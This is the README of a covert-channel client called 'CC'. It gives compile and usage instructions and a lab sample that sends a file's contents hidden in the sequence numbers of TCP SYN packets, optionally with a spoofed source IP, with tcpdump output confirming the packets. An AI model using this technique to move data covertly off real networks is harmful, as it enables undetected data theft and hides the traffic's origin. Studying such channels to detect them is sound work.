CC - Covert Client
===================

AUTHOR: ithilgore
VERSION: 1.0
LICENCE: GPL 3

Compilation
-----------
gcc cc.c -o cc


Usage
------
./cc -d <dest> -s <src> -p <port> -f <file> -v

where
<dest>: the destination host running a covert server or just tcpdump host <yourip>
<src>: your ip or a spoofed one if you are not waiting to receive any data
<port>: fairly obvious 
<file>: the file containing the actual data you want to send

Sample
------

$cat test
HELLO

#./cc -d 10.0.0.50 -s 10.0.0.30 -f test -p40
Sending Data: H
Sending Data: E
Sending Data: L
Sending Data: L
Sending Data: O

#tcpdump -X host 10.0.0.50 and port 40
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
07:49:05.729226 IP 10.0.0.30.8402 > 10.0.0.50.40: S 1207959552:1207959552(0) win 512
        0x0000:  4500 0028 2ecf 0000 4006 37b2 0a00 001e  E..(....@.7.....
        0x0010:  0a00 0032 20d2 0028 4800 0000 0000 0000  ...2...(H.......
        0x0020:  5002 0200 3099 0000                      P...0...
07:49:06.729251 IP 10.0.0.30.3944 > 10.0.0.50.40: S 1157627904:1157627904(0) win 512
        0x0000:  4500 0028 2ed0 0000 4006 37b1 0a00 001e  E..(....@.7.....
        0x0010:  0a00 0032 0f68 0028 4500 0000 0000 0000  ...2.h.(E.......
        0x0020:  5002 0200 4503 0000                      P...E...
07:49:07.729329 IP 10.0.0.30.7831 > 10.0.0.50.40: S 1275068416:1275068416(0) win 512
        0x0000:  4500 0028 2ed1 0000 4006 37b0 0a00 001e  E..(....@.7.....
        0x0010:  0a00 0032 1e97 0028 4c00 0000 0000 0000  ...2...(L.......
        0x0020:  5002 0200 2ed4 0000                      P.......
07:49:08.729411 IP 10.0.0.30.7985 > 10.0.0.50.40: S 1275068416:1275068416(0) win 512
        0x0000:  4500 0028 2ed2 0000 4006 37af 0a00 001e  E..(....@.7.....
        0x0010:  0a00 0032 1f31 0028 4c00 0000 0000 0000  ...2.1.(L.......
        0x0020:  5002 0200 2e3a 0000                      P....:..
07:49:09.729496 IP 10.0.0.30.9117 > 10.0.0.50.40: S 1325400064:1325400064(0) win 512
        0x0000:  4500 0028 2ed3 0000 4006 37ae 0a00 001e  E..(....@.7.....
        0x0010:  0a00 0032 239d 0028 4f00 0000 0000 0000  ...2#..(O.......
        0x0020:  5002 0200 26ce 0000                      P...&...